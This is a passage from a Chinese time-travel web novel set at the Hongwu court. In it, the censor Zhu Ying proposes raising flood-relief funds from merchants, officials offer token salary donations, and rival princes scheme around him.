见朱棣针对自己,朱煐心中暗暗叫好,微微一笑:“多谢燕王提醒,不过燕王还是说错了。” 朱棣看着丝毫不恼反而好像有种由衷高兴的朱煐一愣.... 不是....为什么看着这家伙,有种很高兴的样子? 不会不会,定是本王看错了.... 朱棣的脑海里第一时间闪过一个念头,而后他又瞬间把这个念头给否定了。 自己贴脸嘲讽,对方还高兴不已?这对吗? 显然不可能,那么就大抵是自己感受错了.... 还没等朱棣缓过神来,朱煐微微一笑,冲着老朱拱了拱手说道:“陛下,朝廷没有多余的银钱不富裕不代表我大明不富裕,臣也知朝中国库钱粮紧张,可朝廷国库就能代表我整个大明吗?” “臣依旧认为,大明,甚富!” 朱煐笑呵呵地说道。 而此时的老朱却是不由得皱起了眉头。 同时,听到朱煐这话的朱棣也是眼前一亮,赶忙冲着老朱开口:“父皇,臣请治朱御史之罪!” “哦?不知燕王殿下,下官何罪之有?” 见朱棣针对自己,朱煐顿时乐了。 这就是自己想要达到的效果啊! 没想到不光效果达到了,而且好像比自己预想中的还要更好! 这朱老四是盯上自己了? 那不得再加把劲儿? 朱棣看着朱煐冷笑道:“朱御史不食五谷,不知百姓疾苦,朝廷都不富裕,我大明焉能有钱?你说这话,不就是蛊惑父皇去搜刮民脂民膏?” “这天下银钱,不是在朝廷手中就是在天下百姓手中,朝廷无银。所以你打我大明百姓的主意!你可知天下百姓日常之艰难?父皇殚精竭虑为的就是想让百姓过得富足一些,朱御史,你此言,若是无知所为,那便是蠢,你若是明知而为之,那就是其心可诛!” 朱棣冷冷地冲朱煐冷笑道。 他这一句话,直接把朱煐所有的退路都给堵死,在朱煐面前只剩下了两条路,一条就是自己承认自己是蠢货,另一条就是,故意为之,其心可诛。 朱棣看着朱煐就想到了这些日子在应天府府衙大牢中的日子,虽然有杨顺这个应天府尹特别关照,朱棣也并没有受什么罪,可肉体上没有创伤并不代表着朱棣的心理没有创伤。 堂堂王爷,被当着那么多百姓的面直接被押入了应天府府衙大牢? 奇耻大辱!奇耻大辱啊! 这等耻辱,怕是日后还要载入史册,为后人所嘲笑! 朱棣心中对朱煐是不爽至极。 此刻开口,没别的,就是故意为难,他就是针对! 朱棣的话音刚落。奉天殿内鸦雀无声,朝堂百官没有一人开口言语。 但凡是在洪武朝当官的就没有一个不知道老朱性子的,对于百姓,老朱一直视若珍宝,这是老朱的逆鳞,一旦触碰,那就得倒大霉!为此类事被老朱剥皮填草的更是不在少数,这些可都是前车之鉴! 果然,朱棣话音刚落,老朱就皱起了眉头。 “朱御史,咱这大明百姓本就不富裕,前朝残暴强征暴敛,当年咱都险些饿死,这天下百姓还没有过上几年好日子,咱不能做收刮民脂民膏的事儿,若是你想说从天下百姓手中弄钱的话,那就算了,咱也不允。” 老朱摆了摆手,心中默默叹了口气,对朱煐隐隐有些失望。 不过转念一想,他又理解了,毕竟这世上并无完人,谁又能做到事事清楚,事事明晰的呢? 咱若非前半辈子的颠沛流离,咱怕也是无法感同身受。 标儿当年也是咱让他到地方,亲眼所见,亲耳所闻才有所体悟,看来咱大孙还得磨炼啊.... “陛下,您误会臣所说的意思了。” 朱煐微微一笑。 从大明普通老百姓的手里搞钱? 说实在的,这速度太慢,而且确实,底层百姓的手里也没有几个钱。 这天下的财富,无论是在哪个时代,财富都是二八分化的,中下层的人最多也就掌握了天下少量的财富,而这些人占据的却是八成的数量,他们每日的吃喝消耗都是一大笔银钱,是以无论是哪个朝代,想要从中下层的手里弄钱,都极难,且隐患极大。 更何况,从底层的手里弄钱,就算自己真这么做,因此被老朱问责而死,那也算不得为‘家国天下’而死,根本完不成任务,那死了就是纯白死。 朱煐自然不可能做这种吃力不讨好的事。 朱煐的话也让老朱一愣。 一旁的朱棣也是一愣。 奉天殿原本以为自己猜对了的百官此刻也是一怔,之后齐刷刷地看向了朱煐的位置.... “那你是何意?” 老朱微微蹙眉。 “回陛下,这自古以来历朝历代的底层百姓手里就没有多少钱,天下兴盛对他们影响不大,一旦天下大乱,他们又是首当其冲,正所谓兴百姓苦,亡百姓苦,臣出身寒微,更知底层百姓之艰难,臣说的富并非大明百姓富,而是大明的富人富!” 老朱眉头一挑,听朱煐说了这话心中一凛。 倒是忘了,咱大孙可是从小就在百姓中长大的啊,在百姓中长大,又如何会不知民间疾苦? “说下去!” 老朱反倒是来了兴致,朱煐提出的观点让老朱耳目一新。 “陛下,臣以为,这天下在每个人的眼中都不同,或乞儿,或文人骚客,或普通老农,或商贾大户,他们每个人都是大明的一部分,可却又分属不同的类别,也掌握了不同数量的财富。” “我大明养精蓄锐数十年,在臣看来,一定是已经有一部分人富裕起来了,底层百姓目前都能吃饱饭,那么,那些中层,上层,钱包自然充足。” “臣以为,本次大灾筹措银两,可从他们的手里入手!” “底层的百姓手中没有银钱,可商贾、士绅、世家大族,他们的手里的钱可多着呢。” 朱煐的声音响彻整个奉天殿..... 而此言一出,整个奉天殿确实陷入了一片死寂..... 所有人连呼吸都变得迟缓了,一个个瞪大了眼睛,有些人低头,不敢看朱煐,有些人则是两眼喷火,对朱煐怒目而视..... 这好家伙! 合着朱御史你搁这儿等着我们呢? 这他娘的,说的有钱人,不就是区区在下吗? 这一刻,朝中大部分人的脑海里都猛地跳出了这么个念头,顿时心里头一紧..... 这赈灾,要说用国库的银子,大家是一万个愿意,这要说是搜刮百姓,那咱身为百姓的父母官就不得不出来仗义执言了,可真要强收,却也是尽力了,可这要说这钱,让自己出? 你大爷的! 朱煐,我丢你个老母! 第56章 离剥皮填草不远了 此时此刻,文武百官的心里都在骂娘,可却又一个都不敢站出来。 这时候要是站出来,岂不是直接就说明了自己心里有鬼? 再者说了,枪打出头鸟,真要是这会儿站出来,首当其冲的就是自己。 能在洪武朝上混的官员就没有几个简单的货色,因此朱煐此言一出之后,百官齐齐不语..... 一时间,偌大的奉天殿竟是陷入了一片死寂..... ...... 龙椅上的老朱眉头一挑。 他有些惊讶地看了朱煐一眼。 说实在的,朱煐所提出的这个想法却是大大出乎了老朱的预料,老朱万万没想到朱煐开口居然会提及到从士绅,大族,商贾手中搞钱! 从某种意义上说,自己这大孙说的还真没错,这士绅大族商贾巨富的手中确实是有着不少的银钱,可.... 老朱深深地看了眼朱煐,心中很是欣慰。 他欣慰的是,朱煐的眼光没有问题,自己大孙有着远超常人的卓越判断。商贾巨富,士绅大族,手中确实是有钱,可有一点.... “咱大孙终究是年轻了些,不过能想到这些也已经是殊为不易了。” 老朱欣慰的同时心中又不由自主地默默叹了口气.... 确实,朱煐所说并没有太大的问题,要只是说商贾巨富,士绅大族而言,大明确实是富裕,毕竟这也休养生息了数十年,哪怕是在元末的时候,这些阶级势力手头也是富裕,而碰上这太平岁月,那就更富裕了。 可这并非问题关键,关键是....这些家伙富裕归富裕,可他们不给钱啊! 是的,最关键的问题不是他们没有钱,而是他们不给钱! 哪怕是老朱也不得不承认,想要从这些人手中掏钱,那可真是比登天还难! 很多人觉得以老朱的暴躁性子,抄家灭族,这钱自然就来了,可事实上现实的情况远远没有这么简单..... 老朱只是性情暴躁,可并不意味着他是个傻子,士绅阶级,世家大族,这些人既是既得利益者,但同时也是大明的管理者,真要是强行用粗暴的手段对待,必然会让眼下刚刚平静没有多久的天下再生波澜。 他们的触角太庞大了,盘根错节,哪怕是出动军队也根本无法解决问题,而就算是解决了当前的问题,不需要多少年,新的士绅大族崛起,先前的任何努力依旧是做无用功。 天下太大了,光靠着皇帝一人是不可能管理过来的,只有通过一个个人,一个个势力去约束,去管理,才能管理好着偌大的大明,而所谓的士绅大族就属于这偌大帝国的管理者,哪怕全杀了,换一批,也不过是从一批蛀虫换成另一批蛀虫罢了。 这个问题是个死循环,根本无法解决。 老朱正是因为看明白了这一点,所以他并没有用粗暴的手段强行解决问题。 事实上老朱解决问题大都是靠脑子,他的手段只是在脑子清醒做出判断之后,再用狠辣的手段进行威慑,历史上的洪武四大案都是如此,看似好像老朱手段残暴,但实则老朱的每一步棋都有着其背后的深意..... “啪啪啪。” 老朱鼓掌,一边鼓掌一边笑着冲朱煐道:“朱御史所言不错,这倒是个值得一试的办法,所谓世家大族,乡土豪绅,远的不说,咱这近的奉天殿中诸位爱卿或许有不少都在其中,这样的,既然朱爱卿有了提议,不如就从咱这大殿上开始,希望大家也给外面的人做个表率。” “朱御史,接下来就看你的了。” 老朱笑呵呵地将这个任务直接布置给了朱煐.... 而老朱的这话瞬间让奉天殿中原本就紧张的气氛更加紧张了,所有人都是心头一紧..... 原本低着头的官员一个个都猛地抬起了头,随着老朱的这句话,大家都一脸愕然地瞪大了眼睛看向老朱..... 不是,陛下你开玩笑的吧? 倒也不是大家真就那么吝啬钱财,可问题是,这要真拿出来了不少银钱,一来露富引人觊觎不说,二来这要是被当成了贪官污吏,被陛下给剥皮填草了怎么办? 可这要是不给的话.....好像也不是那么回事,这不是啪啪打陛下的脸吗? 一时间,朝中官员们顿时有了种进退两难之感..... 就在大家都还在犹豫的时候,忽的,有人忽然站了出来..... “陛下!臣冤枉啊!” “臣自幼家贫,靠着同乡接济好不容易科举入朝,幸得陛下抬爱侥幸入朝,矜矜业业十余年,至今未曾娶妻,家中也无余粮。这捐钱....臣当真是有心无力啊!” “陛下说臣乃士绅豪族,臣冤枉!” 看到眼前之人,其余百官眼前都是一亮。 大家都同朝为官,这各自的底细虽然说不是非常清楚,却也心里大概有个数,这出来哭穷的这位还真别说,他是真的穷,是御史台的一名督查御史,全靠着一点微薄的俸禄活着,又因为在朝中得罪了不少人,日子过得举步维艰。 看到此人哭诉,大家的心里顿时就有了别样的心思.... 对啊!这朝中又不全是背后有家族势力的?还有不少寒门呢!这都是同僚,寒门的没钱捐的少,这我就算有钱,捐多了也不是那回事儿吧? 那自然不能捐太多,想必要如此的话,陛下也不会怪罪,捐的不用太多,只要比寒门捐的多就是了。 心中有了想法之后.... “陛下,臣愿捐!臣愿捐臣一年俸禄给湖广遭灾百姓!” 此时又有一名官员站了出来,而这站出来的官员和先前的不同,此人就是身后家族背景不错的,并非寒门子弟。 而此人一开口,顿时又让其余的官员眼前一亮。 好! 妙哉! 好一个捐一年俸禄! 当真是个好主意啊! 这钱不多,可这听起来,却着实是不少啊,我都把在朝中任职朝廷所发的俸禄全给捐出来了,那这陛下你总不能挑我理了吧? 不说具体捐多少银子,直接捐俸禄,一来就是一年俸禄,这主意好啊!显得很多的样子! 而且就算陛下嫌少也不好拿这个做文章,毕竟这是朝廷发的俸禄,这要是嫌少,岂不是说朝廷抠吗? 此人机敏啊! 众人看去,仔细一打量,顿时恍然! 原来此人是户部的人才啊! 难怪能想出这么精巧的说法,户部人才就是多。 有了领头人之后,其余的官员一个个就有了主心骨,立刻就开始有样学样..... “陛下,臣愿捐出半年俸禄给湖广遭灾的百姓,聊表心意!” “臣愿意捐出两年俸禄,臣不过了!” “朱御史,这三年的俸禄你拿好,本官就是吃糠咽菜也得做我大明官僚之表率!” “先天下之忧而忧,后天下之乐而乐,臣为官一心为民,要这俸禄何用?每日一个馒头,足以度日矣!” “臣就算是食米糠,也不可让朝廷失信于湖广,臣也愿捐!” “......” 一时间,原本一片安静的奉天殿瞬间沸腾,熙熙攘攘的声音不绝于耳,百官一个个都在给出自己的表示。 要说唯一不太一样的也就只有明面上家底就比较丰厚的武将勋贵的,蓝玉带头倒是给凑了不少的银两,可这银两加起来也不过万余,别说治理湖广了,就算是安顿一撮百姓都是问题! 看着闹腾腾的大殿,老朱倒是没有说什么,只是笑呵呵地看向朱煐..... 对于此情此景老朱心中早有预料,钱这东西,谁都喜欢,想要平白无故从别人手里拿钱?哪有那么简单那么容易的事情? 可当老朱看向朱煐的时候,看到朱煐的表情,老朱却不由一愣。 原本料想中朱煐愕然的表情并未出现,相反,朱煐一脸的淡定,他甚至开始闭目养神,两耳不闻窗外事了..... 老朱泛起了疑惑。 “朱御史?” 他轻唤了一声朱煐。 朱煐睁开眼睛,用小拇指挠了挠耳朵:“臣在。” “你做什么呢?咱让你募捐呢。” “募捐?” 朱煐扫了一眼满朝文武,眼中满是不屑:“陛下,你想靠着这碌碌无为的兖兖诸公捐的钱粮治理湖广水患吗?” “请恕臣直言,这点钱拿去湖广,非是治理湖广水患,而是羞辱湖广百姓啊!” “这要是让百姓知道了臣拿这点钱去湖广,那我大明朝廷的名声还要不要了?日后史书记载,可引以为耻矣!” “诸位大人,你们的这些散碎银两就留着给自己吃饭吧,这一天就吃一个馒头的,那身体可不得饿坏了?好歹同僚一场,我如何忍心让诸位大人这般节衣缩食?” 朱煐戏谑地看了周遭的百官一眼。 此刻龙椅上的老朱却不由得皱起了眉头看着朱煐。 “你的意思是,你还有其他弄钱的法子?” 老朱有些惊讶,朱煐的这番话倒是让他大大出乎了预料。 原本他以为朱煐是想在朝中搞募捐这一套,可实际上这一套早就搞过了,而且效果很差劲,当年甚至自己大发雷霆了一次,可即便如此,也只是凑到了一点点银钱,根本就没多少。 他是想借此事让朱煐成长,可眼下的情况却是,自己好像....误会了? “启禀陛下,臣方才说了,士绅大族和大商贾的手里都有钱,这士绅大族的钱臣没有把握弄到,毕竟他们爱财如命,所以臣想要从商贾的手中弄一些银钱,以这些银钱来赈灾。” 朱煐此言一出,偌大的奉天殿俱是一寂! 百官面面相觑,皆是愕然..... 不是,要从商贾的手里拿钱? 这..... 百官的面色古怪,不光是百官,老朱也是愣了一下,看着朱煐坚定的神情,神色一暗....心中暗暗摇了摇头..... “朱御史,你可知这商贾可是一毛不拔的性子?” “别说是你,就算是咱,也想不到什么办法从这些混蛋的手里弄到钱,他们为了钱甚至可以不要性命,你可知道?” “启禀陛下,臣晓得,不过臣依旧有信心从他们手里筹集到湖广的赈灾银两,还请陛下允臣一试!” 朱煐语气依旧坚定。 “这.....” 老朱眉头深锁,欲言又止,最后点了点头。 “罢了,你要试试就试试吧。” 老朱最终决定让朱煐试试,大抵是不可能筹措到银两的,不过借着此事能让咱大孙成长一下,倒也是划算..... 朱煐微微一笑,看向其余的百官。 “诸位大人,你们的这些钱就拿回去吧,别给朝廷丢人了,这要是让湖广百姓知道了,不得造反啊?” “这筹措银两的路子本官自有定计,就不劳烦诸位大人了。” 朱煐笑呵呵的话却让周围的官员都颇为尴尬,心中更是不爽。 这虽然钱少确实是事实,可你这么嫌弃,就不地道了,这千里送鹅毛礼轻还情意重呢,这捐款,捐的是心意,哪能用钱来衡量? 有你日后求我们的时候!等你见了那些个商贾的嘴脸就知晓我等的豪爽大方了! 不少人心中都是敢怒不敢言,只能悻悻退回到自己的位置..... “朱煐接旨!” “臣在!” “那咱就命你总管筹措银两一事,特事特办,你可以给商贾一些许诺,若是他们愿意给钱,一些事情不违法乱纪的,可以商量。” 老朱斟酌了一下还是决定给自己的大孙子开点后门。 这历练是历练,可不能把大孙子的信心都给打击没了才是.... “臣领旨!” ...... 朱煐领旨,心中却是大喜。 对于其他人而言,从商贾手里弄钱,那自然是千难万难,可在他看来,此事却是并不困难。 而这弄钱也就只是第一步,他真正的目的与这湖广灾情倒是关系不大,只因在朝中忽然想到了另一个老朱所无比憎恶的方向。 只要在这一方向上有所建树,想必老朱杀自己是板上钉钉之事。 要说老朱最恨什么,就四个字——贪官污吏! 这话就说回来了,咱要是在这其中私下搞点误会出来,这项上人头岂不就能有了归宿了? 妙极,妙极! 只是希望老朱给自己一个痛快,这剥皮填草倒是有些过于痛苦了.... 不过倒也无妨,吃得苦中苦方为人上人,这买卖,干了! 第57章 陛下不行不代表我不行 退朝后。 老朱最先离去,其次就是百官相继离开。 朱煐正准备走却被朱允炆拦住。 “朱御史慢走。” 朱允炆拦住了朱煐。 朱煐疑惑地看向朱允炆。 “不知允炆殿下有何吩咐?” 这时候朱允熥也走了上来,站到朱煐旁边,他有些不敢与朱允炆直视,可却没有后退,半个身子靠在朱煐身前。 “大哥,父皇可还未走远。” 朱允熥强鼓起勇气开口。他害怕朱允炆,可却从身边的朱煐身上感受到了莫大的勇气。 朱允炆扫了朱允熥一眼,轻笑道:“允熥,你紧张什么?大哥还会吃了你不成?” “朱御史可是我朝堂肱股,刚正不阿的人我大明向来缺少,现在是,日后也是。” “只是孤有一言,还请朱御史侧耳一听。” 说着朱允炆看向朱煐道:“朱御史,孤知晓你想为湖广遭灾的百姓筹措钱粮的好心,可想要从商贾手中拿到银两,这简直难如登天,你未曾与那些商贾交集不知其吝啬,孤虽也未曾交集,可孤知道五年前江淮水患时皇爷爷亲自下令找商贾募捐筹措,可这偌大的应天府商贾,用了十日,你猜筹措出多少银两?” 不等朱煐说话,朱允炆自顾自地继续道:“一万一千四百二十五两!” “是的,只有一万一千四百二十五两银子!” “陛下大怒,将零头募捐的商贾抄家,从他家中搜出银钱百万不止!” “百万巨富,只捐数百两,他们宁愿抄家也不想掏钱,孤所言不过是想让朱御史明白,这些商贾并非易与之辈。” “若是朱御史发现事不可为,可寻孤,孤亲自为朱御史你去向陛下求情同百官言说,想必皇爷爷也会理解的。” 说罢朱允炆拍了拍朱煐的肩头:“孤言尽于此。” 说完朱允炆就在朱煐一脸懵逼的眼神中爽利地离开了..... “朱大哥,我大哥怎么好像要帮你?” 朱允熥有些傻眼,他这些日子在朱煐的府中和朱煐也混熟了,和张平也混熟了,张平唤朱煐老大,朱允熥身为皇孙自然不好这么跟着叫,于是他就开始私下喊朱煐为朱大哥。 听朱允熥的话,朱煐的脸色有些难看。 这下坏了菜了啊! 这朱允炆要是不安好心也就罢了,可要是他真的是好心帮忙,那自己往日的努力,那不是白费了? 不是,这些个人都是怎么了? 这个大明,有点诡异啊! 朱煐百思不得其解,这些日子以来,这文官集团对自己的态度来了个一百八十度的大转变,原本还想着这些人是不是暗中有什么算计,是不是在打自己什么主意,可今天朱允炆这么上来一说,基本上可以确定了,是的的确确地改变了对自己的态度。 别说是文官集团了,这领头人,未来的建文帝都给自己释放善意了,这..... 我这究竟是哪里做出了问题? 朱煐自认是个善于反思总结的人,可这一次,他想不明白,他想不通,明明每一个环节都没有问题,甚至之前产生的效果也没有问题,为什么会一夜之间对自己的态度大变? 这究竟发生了什么? 朱煐完全猜不到,但能确定一点,这朱允炆对自己....好像当真没有了敌意..... ...... 殿外,黄子澄、齐泰凑在一起,朱允炆走过,两人当忙见礼。 “见过殿下。” “老师,齐大人,你们就别和孤客气了。” “怎么样?刚才孤做的不错吧?” 朱允炆心中有点点小得意,嘴角微微上扬。都说相由心生,心中的得意劲哪怕是有意克制也不是能够完全得以隐藏的。 黄子澄和齐泰互视一眼,微微一笑。 “殿下英明。” “殿下已有仁君之风。” 两人纷纷夸赞。 而这样的夸赞无疑让年少的朱允炆很是受用,当即侃侃而谈:“其实也没有什么啦,孤只是想着,既然这位置已经稳了,那孤就不能再从原本的角度考虑问题,孤得从全局,从整个大明的角度去考虑。” “朱御史性格刚正,这样的刚直之臣虽说容易与他横发冲突,却也是朝廷不可多得的人才,皇爷爷他想必也是这么想的,皇爷爷用得上,孤日后自然也是用得上。孤见不得我大明英才如此而亡,得救他一命。” “殿下英明,殿下此举甚贤。” “殿下所言不错,方才臣等也在议论,朱煐此人若是为敌,那自然不好,若是从公而论,此人颇有才干且敢于直言,对朝廷社稷大有裨益。” “眼下此人未曾与商贾接触,只以为商贾有钱便从商贾手中弄钱容易,年少轻狂,正好让他去碰碰钉子,等时机差不多了殿下再出手相救,想必这朱御史定然会感激涕零,日后任凭殿下驱策。”齐泰笑道。 而齐泰的话让朱允炆也是露出了笑容:“齐大人言重了,孤只是单纯可惜他的才干。” “老师,不知接下来我们该当如何?” 朱允炆看向黄子澄。 黄子澄颔首笑道:“接下来就一个字——‘等’!” “只等时机便是。” “老师和孤想到一块儿去了。那我们就等,朱御史碰壁,孤再入宫劝皇爷爷。” ....... 奉天殿内。 朱允炆刚走,蓝玉就走了上来。 蓝玉这些日子以来都十分低调,他深知自己的处境微妙,眼下请辞都不被批准,看似好像凉国公府依旧权倾朝野声望不小,可蓝玉心里明白,这都是表象,眼下的凉国公府已经成了案板上的鱼肉,任人宰割,而这个宰割的人,自然就是当今陛下,老朱。 蓝玉走到朱煐近前神色凝重:“朱御史,不知此事可是你自己的意思?” 蓝玉说话的功夫,朱樉也走了上来,见蓝玉开口因此朱樉并没有说话,只是看向朱煐。 蓝玉问的话也是朱樉想要知道的。 在两人看来,朱煐表面上的身份是御史,可实际上却是老朱的心腹。 否则何以解释朱煐做出的这些几乎必死的举动自己却一点事都没有的事实? 而今天这异常的举动,两人都怀疑这背后是老朱的授意。 可....想要从这商贾的手中弄到钱,这简直难如登天啊! 谁不知道这些家伙一毛不拔,爱财如命? 所以两人心中不解过来询问。 “当然是我自己的意思,这还能是谁的意思?” “放心吧秦王,凉国公,下官自有计较,弄点钱还是有信心的。” 朱煐志不在此,以目前自己对老朱的了解,这就算办事不力弄不到钱也不会对自己如何,所以弄到钱和弄不到钱不是关键,关键是怎么让老朱认为自己贪污受贿,以此罪论死! “这....” 蓝玉听到朱煐说是自己的主意,顿时语塞。 一旁的朱樉也是一愣,反应过来之后拍了拍朱煐的肩膀:“朱御史,这次你当真是太鲁莽了。” “本王是个惜才之人,若是你筹措钱粮不力,届时本王为你求情。” “是啊朱御史,你太年轻了,不知这商贾狡诈,若是实在筹措不到银两,我拿出一些银钱充充门面,也算是感谢上次朱御史你的帮忙,若非朱御史提点,我蓝家处境怕是更差。” “两位有心了,不过真不用,不就是筹措一些赈灾银两吗?虽说不一定能完全筹够,可想来也能筹个大抵不差。” “下官所言都是仗义执言,凉国公与秦王万万莫要放在心上。” 蓝玉和朱樉的话让朱煐有些头疼。 他自然有办法筹措到银两,他头疼的不是两人说的这个筹措不到银两之后替自己向老朱求情这件事,他头疼的是两人对自己的态度,这他娘的日后要是出点什么要事,一个王爷一个国公给自己求情,那还能死成吗? 原本想着用交好蓝玉去此计朱允炆,可现在朱允炆不知道抽了什么风,态度居然发生一百八十度反转,这让朱煐有些不知所措。 稍稍整理了一下思绪,朱煐觉得自己这一波有必要干一票大的! 这小打小闹的,且不说老朱不会因为这些小事杀了自己,这要是关上一阵或者打几十大板,那这真是纯受罪!毫无意义! 所以要搞,就得奔着大了去搞!让老朱盛怒之下出手,求情都不好使的那种! 这就需要按照自己原先的计划进行了。 就在朱煐思绪飘飞之际.... “哈哈哈哈,我说二哥,你这是不相信朱御史的才干啊?” “朱御史这么能说,想必一定能以这三寸不烂之舌弄到足够的赈灾银两的,二哥你又有什么好操心的?” “我说的对吧朱御史?” 说话的是朱棣,朱棣笑吟吟地走到了朱煐的面前。 朱煐眼前一亮,听着朱棣的这番嘲讽却显得神清气爽。 还是得你啊朱老四! 就知道你小子心眼小,能成大事! 朱煐心里庆幸,还好自己这前几天下手够狠,这朱老四对自己显然是恨上了,就这语气,就这态度,这才是真正能帮上自己的人! “燕王知我。” “下官确实是有着一定把握,否则也不会主动请缨。” “秦王,凉国公,你们就把心收回去吧,且看着就是。” “这....” 蓝玉和朱樉面面相觑不知道该说什么了..... ...... 张平与方孝孺已经彻底成了朱煐的跟班。 经过这几天的相处,方孝孺和张平都十分敬佩朱煐的为人,两人都认为朱煐性情之刚正,当代无人能出其左右! 无论是张平还是方孝孺,不说一心为民吧,至少也是心怀百姓,尽量帮着百姓说话的选手,可这一次....在跟着朱煐回府的路上两人好几次都是欲言又止..... 老朱赐给朱煐的府宅距离皇宫又近,占地面积又大,房间自然也多。 这几天方孝孺和张平全都住在朱煐的府中。 张平本身就算是寒门出身。 他是实打实的寒门。 和家里一穷二白考入朝堂的不太相同,寒门的真正意思是,曾经辉煌过的门阀没落了,所以才有个寒门的成为,寒门也是门阀! 而张平的张家就是如此,张家也曾辉煌过一时只是很快就没落,一直到张平这一代,家族几乎已经帮不上张平任何,自然,想要在京城中买房,这个钱张平的家中想要掏出来就比较费力了。 大明没有炒房集团,房价一般,可耐不住这里是京城啊,而且是京城中心!张平想要在应天府买房,只能买在最外围,或者买个很小很小的宅院。 张平不想让本就不富裕的族内继续帮扶自己,所以他选择慢慢攒钱用朝廷俸禄去买房子。原本他是准备先租房子租住的,可认了朱煐大哥之后,这住处问题就轻松解决了,这个位置上朝都不需要太早起,免去了早上的通勤。 而张平的宅院又大,客房多的不行,关键是朱煐尚未成家!于是理所当然地张平就住在了朱煐家中.... 方孝孺虽然不怎么缺钱,可他从作为汉中府教授在汉中府工作,如今到了应天府,这人不生地不熟的,也没有来得及买府宅,毕竟尚不知工作调任,万一老朱只是暂时将他喊回京,日后又下派到地方,这京城买的房子不就直接白费了吗? 所以方孝孺准备等工作稳定一些之后再买。 结果还没来得及买呢,就遇到了朱煐,直接住进了朱煐的府宅里,他和张平一样,住的都是客房。 这府宅很大,说是府宅,可亭台楼阁一应俱全,甚至府内还有个小湖,曲水流觞,草木繁盛。 和后世的园林差不多。 毕竟这是皇产,皇家的府宅,质量自然不同寻常。 一回到府宅中张平就再也忍不住了。 “老大,这回你是真鲁莽了!” “你是不知道这从商贾的手里弄到钱的难度!别说是你了,就算是陛下也办不到啊!” 张平语速很快,说的有些着急,有些红温,他是真不想看到自己的老大踩坑,眼看这朝堂上形势一片大好,老大前途一片光明,可却忽的接下了这一出破事..... “志远他说的对,方御史,你这未曾与商贾打交道过,他们把钱看得比他们的性命都重要,你想从他们手里弄钱不可能的!”方孝孺也开口:“我听说几年前陛下就有过筹募钱粮找商贾,结果这些商贾根本不给陛下面子,逼得陛下将领头之人抄家灭族才作罢。” “他们尚且不怕陛下,又如何会乖乖就范就这么轻易地交出钱粮?” “陛下不行,不代表我不行。”朱煐微微笑道...... 第58章 轰动京城! “老大,你还是不清楚这商贾爱财的程度,此事不易啊。” 张平摇了摇头,虽然他很相信朱煐,可这一次,对于朱煐说的这话他却不敢相信。 哪怕以老朱以及百官的手段都没有能从这些个商贾手里抠出钱粮,想靠一己之力筹措到足以解决湖广大灾的钱粮?这无异于痴人说梦! 不仅仅是张平,一旁的方孝孺显然也不相信朱煐说的话。 而朱煐见两人如此,却也不多做解释。 事实上在他看来,想要从商贾的手中弄到钱粮这事情并不难,至少比从士绅大族手上弄钱更容易,只是眼下这个时代,似乎大家对于商贾真正想要什么并不清楚。 而威逼,这一招对于士绅大族反倒是有用,因为士绅大族扎根于土地,他们是有根基的,他们会考虑后果且这些土地,人口根基无法隐藏。 而之所以这一招对商贾的作用性不大,是因为商贾只有钱,他们本身就没有根基和太多的土地人口,他们的财富更容易隐藏,且凡是商贾趋利避害是本性,你越是威逼,越是让他们产生不安全感,只会将自己埋藏的更深。 人活着都会有自己的目的性,追名逐利四字就几乎阐尽了形形色色的人生。 知道对方想要什么,对症下药,只有这样才能让对方心甘情愿地付出。 用后世的说法来类比,眼下要想从商贾的手里掏钱,那就要明白商贾的需求,商贾是客户是甲方,而自己要做的就是针对商贾,做出能够让他们渴望得到的产品,再用这个产品去换取他们手里的钱。 只要让这个产品拥有商贾看来的性价比,毋庸置疑,这些商贾的出手会比士绅豪族都更加令人惊叹! 因为商贾趋利避害的同时,还奉行一句话——风险机遇并存!当摆在面前的利益足够大的时候,商贾比士绅大族更有胆魄,更乐意下重注! 所谓天下熙熙皆为利来,天下攘攘皆为利往,这一句话在商贾身上体现得更为明显,他们之所以成为大商贾,就是因为逐利,纯粹地逐利!而这一类人,在朱煐看来,那就是个绝佳的甲方! 只要你让他觉得有利可图,那他就不会吝啬! “朱...朱大哥,我相信你!” 就在张平和方孝孺都对朱煐的话表示怀疑的时候,一直在站一旁,怯生生的朱允熥忽然开了口。 朱煐听到声音不由得愕然地看向朱允熥。 他没有想到朱允熥会在这个时候忽然开口。 因为他本性懦弱,哪怕最近有所改善,可基本也是沉默寡言,很少说话,哪怕是在自己的府中在这私下的时候,虽然一直在一旁,可却向来很少发表意见。这回却是主动开了口。 “殿下,你信我?” 朱煐有些惊讶。 对于朱允熥朱煐原本是无感的,可最近这段时间的亲密接触和相处起来,朱煐却逐渐发现了这位大明皇孙的与众不同,他本性纯良,且很聪明,只是性格软弱了些。 朱允熥面对朱煐的问询坚定地点了点头:“嗯!朱大哥,我觉得你不会做没有把握的事情,既然你说了,那就一定是有把握的,我信你!” 朱允熥看着朱煐,他也不知道为什么,在他面前的朱煐给了他一种别样的安全感,只要是站在他的身边,朱允熥就感觉格外的心安,就好像什么风雨都有人给自己遮挡了一般..... 这种感觉....他只有小时候感受到过.... 朱允熥忽然想到了小时候,想到了那段无忧无虑的日子,那时候自己在东宫谁也不敢欺负自己..... 那时候有大哥挡在前面,什么事情都有大哥,皇爷爷的期望,父亲的期望,大家的看好,大哥集万千宠爱于一身,而大哥又护着自己,东宫谁也不敢欺辱自己,哪怕是那吕氏和朱允炆见了自己都是客客气气的。 那是朱允熥记忆中最美好的时光。 而这些年,那段时光的感觉,那段记忆,他已经逐渐模糊,感受也不再清晰,可这些日子在朱煐身边,在这府宅里,朱允熥重新又感受到了被人保护着的感觉....那种不需要担心有人针对自己的安全感..... 朱煐看着朱允熥那坚定的脸色,也露出了笑容。 “殿下放心,臣自不会无的放矢。” “张平?” “老大,有什么吩咐?” 张平赶忙凑到朱煐跟前。 虽然他也不太相信朱煐真能从商贾手里弄到钱,可现在既然已经接下了任务,那当兄弟的自然就要肝胆相照,全力相助。 “你替我传一则消息出去,就说我与陛下提议,重开古时稷下学宫于应天府,并聘请国子监同班底鸿儒坐镇稷下学宫,学宫设祭酒一名,副祭酒三名,博士若干。” “稷下学宫祭酒为陛下,副祭酒未定,博士需在国子监享有盛名方可入内,每月俸禄以国子监教授三倍发放。” “稷下学宫不日便将招生,无论出身,不管你是士绅大族,还是书香门第,亦或是商贾之家,即可入内,渠道有二,其一靠能力考入,其二可花重金缴纳学费,为学宫做贡献,也可入内成为学生。” 朱煐将心中的计划给一口气讲完。 一时间,偌大的房间一片死寂..... 张平刚开始的时候还不以为意,可越听眼睛瞪得越大,越是愕然,越是震惊! 而当朱煐说完之后,张平瞬间就明白了朱煐说这些的意义! 